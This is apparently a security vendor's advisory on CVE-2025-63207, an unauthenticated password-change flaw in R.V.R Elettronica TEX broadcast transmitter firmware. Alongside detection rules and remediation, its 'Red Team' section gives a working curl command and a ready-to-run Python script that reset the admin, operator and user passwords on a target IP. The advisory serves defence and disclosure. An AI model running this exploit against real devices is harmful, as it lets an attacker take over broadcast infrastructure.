CVE-2025-63207

Executive Summary

CVE-2025-63207 exposes a critical broken access control vulnerability in the R.V.R Elettronica TEX product (firmware TEXL-000400, Web GUI TLAN-000400). The /_Passwd.html` endpoint lacks proper authentication checks, allowing an unauthenticated attacker to change the Admin, Operator, and User passwords via a simple POST request. This leads to complete system compromise, including full control over the device and potential lateral movement within the broadcast infrastructure.

This vulnerability is particularly dangerous because it requires no authentication, no user interaction, and can be exploited remotely over the network. The product is used in professional broadcasting environments, making it a high-value target for threat actors seeking to disrupt communications or gain persistent access to critical infrastructure.

Supply Chain & Package Security

Not applicable – this is an embedded firmware vulnerability, not a software package.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely
• Attack Complexity: Low (AC:L) – no special conditions required
• Privileges Required: None (PR:N) – no authentication needed
• User Interaction: None (UI:N) – no user action required
• Scope: Unchanged (S:U) – vulnerability affects only the vulnerable component
• Confidentiality Impact: High (C:H) – full access to device data
• Integrity Impact: High (I:H) – passwords can be changed, device settings altered
• Availability Impact: High (A:H) – device can be rendered inoperable

Threat Level: Critical. Immediate action required. The vulnerability is trivial to exploit and has a high likelihood of being weaponized by ransomware groups or state-sponsored actors targeting broadcast infrastructure.

Deep Dive & Mechanics

The vulnerability resides in the web interface of the R.V.R Elettronica TEX product. The endpoint /_Passwd.html is intended for password management but fails to enforce any authentication or authorization checks. The web server processes POST requests to this endpoint without verifying the identity of the requester.

Root Cause: The application does not implement a session check or token validation before processing password change requests. The code likely contains a logic flaw where the password change handler is exposed without a preceding authentication gate.

Attack Flow:

1. Attacker identifies a TEX device on the network (e.g., via Shodan or internal scanning).
2. Attacker sends a crafted POST request to http://<target>/_Passwd.html with parameters for Admin, Operator, and User passwords.
3. The device processes the request and updates the passwords without any authentication.
4. Attacker logs in with the newly set passwords and gains full administrative control.

Impact: Complete compromise of the device. The attacker can:

• Modify broadcast parameters
• Exfiltrate sensitive configuration data
• Install persistent backdoors
• Use the device as a pivot point for lateral movement
• Disrupt broadcast operations

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable handler - no authentication check
def handle_password_change(request):
    if request.method == 'POST':
        admin_pass = request.form.get('admin_password')
        operator_pass = request.form.get('operator_password')
        user_pass = request.form.get('user_password')
        # Directly update passwords without verifying identity
        update_passwords(admin_pass, operator_pass, user_pass)
        return "Passwords updated successfully"

Patched Code (Conceptual):

# Patched handler - authentication required
def handle_password_change(request):
    if not is_authenticated(request):
        return "Authentication required", 401
    if request.method == 'POST':
        admin_pass = request.form.get('admin_password')
        operator_pass = request.form.get('operator_password')
        user_pass = request.form.get('user_password')
        # Only proceed if the requester is authorized
        if has_permission(request.user, 'change_passwords'):
            update_passwords(admin_pass, operator_pass, user_pass)
            return "Passwords updated successfully"
        else:
            return "Insufficient permissions", 403

Key Differences:

• Vulnerable: No authentication check before password update.
• Patched: Authentication and authorization checks are enforced before any password modification.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target device running TEX firmware TEXL-000400 with Web GUI TLAN-000400
• Network access to the device (HTTP/HTTPS)

Exploitation Steps:

1. Reconnaissance:

   # Scan for TEX devices on the network
   nmap -p 80,443 --open -sV 192.168.1.0/24 | grep -i "tex\|r.v.r"
   

2. Craft the Exploit Request:

   # Using curl to change all passwords
   curl -X POST http://<target_ip>/_Passwd.html \
     -d "admin_password=NewAdmin123!" \
     -d "operator_password=NewOperator123!" \
     -d "user_password=NewUser123!"
   

3. Verify Access:

   # Login with new admin password
   curl -u admin:NewAdmin123! http://<target_ip>/index.html
   

Automated Exploit Script (Python):

import requests
import sys

def exploit(target_ip):
    url = f"http://{target_ip}/_Passwd.html"
    payload = {
        "admin_password": "pwned_admin",
        "operator_password": "pwned_operator",
        "user_password": "pwned_user"
    }
    try:
        r = requests.post(url, data=payload, timeout=10)
        if r.status_code == 200:
            print(f"[+] Passwords changed successfully on {target_ip}")
            print(f"[+] New credentials: admin:pwned_admin, operator:pwned_operator, user:pwned_user")
        else:
            print(f"[-] Unexpected response: {r.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python exploit.py <target_ip>")
        sys.exit(1)
    exploit(sys.argv[1])

Blue Team

Detection & Response:

1. Monitor for Unauthorized Password Changes:

   • Enable logging on the TEX device (if available).
   • Look for POST requests to /_Passwd.html from unexpected IP addresses.

2. Network Segmentation:

   • Isolate TEX devices on a separate VLAN with strict firewall rules.
   • Allow only authorized management stations to access the web interface.

3. Honeypot Deployment:

   • Deploy a fake TEX endpoint to detect scanning and exploitation attempts.

4. Incident Response Steps:

   • Immediately disconnect affected devices from the network.
   • Reset all passwords to strong, unique values.
   • Conduct forensic analysis to determine if the device was compromised.
   • Apply any available firmware patches from the vendor.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /_Passwd.html with parameters admin_password, operator_password, user_password
• Unusual login attempts from new IP addresses after password change
• Outbound connections from the TEX device to unknown external IPs (potential C2)

File IOCs:

• Modified configuration files (e.g., /etc/passwd, /etc/shadow equivalents on the device)
• Presence of unauthorized scripts or binaries in the web root

Behavioral IOCs:

• Device reboots or unexpected configuration changes
• Changes to broadcast parameters without authorized user action
• Multiple failed login attempts followed by successful login with new credentials

Detection Engineering

YARA Rule

rule CVE_2025_63207_TEX_Password_Change {
    meta:
        description = "Detects exploitation attempts of CVE-2025-63207 targeting R.V.R Elettronica TEX devices"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63207"
        severity = "critical"
    strings:
        $s1 = "admin_password=" ascii wide nocase
        $s2 = "operator_password=" ascii wide nocase
        $s3 = "user_password=" ascii wide nocase
        $s4 = "/_Passwd.html" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: CVE-2025-63207 - Unauthenticated Password Change on TEX Device
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to /_Passwd.html on R.V.R Elettronica TEX devices
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-63207
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/_Passwd.html'
        cs-uri-query|contains|all:
            - 'admin_password='
            - 'operator_password='
            - 'user_password='
    condition: selection
falsepositives:
    - Legitimate password changes from authorized administrators (should be rare)
level: critical
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2025.63207

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-63207 - Unauthenticated Password Change on TEX Device"; flow:to_server,established; content:"POST"; http_method; content:"/_Passwd.html"; http_uri; content:"admin_password="; http_client_body; content:"operator_password="; http_client_body; content:"user_password="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1; reference:cve,2025-63207;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Disconnect TEX devices from the network until a patch is available.
2. Implement network access controls: Use firewall rules to restrict access to the web interface to only trusted management IPs.
3. Monitor logs: Enable and review logs for any unauthorized access attempts.

Long-term Fixes:

1. Vendor Patch: Contact R.V.R Elettronica for a firmware update that implements proper authentication checks on the /_Passwd.html endpoint.
2. Custom WAF Rule: Deploy a Web Application Firewall rule to block POST requests to /_Passwd.html from untrusted sources.
3. Code Hardening: If source code is available, implement session-based authentication and CSRF tokens for all sensitive endpoints.

Workaround:

• Disable the web interface entirely if not required for operations.
• Use SSH or serial console for device management instead of the web GUI.

Valters IT – Securing broadcast infrastructure through proactive vulnerability management.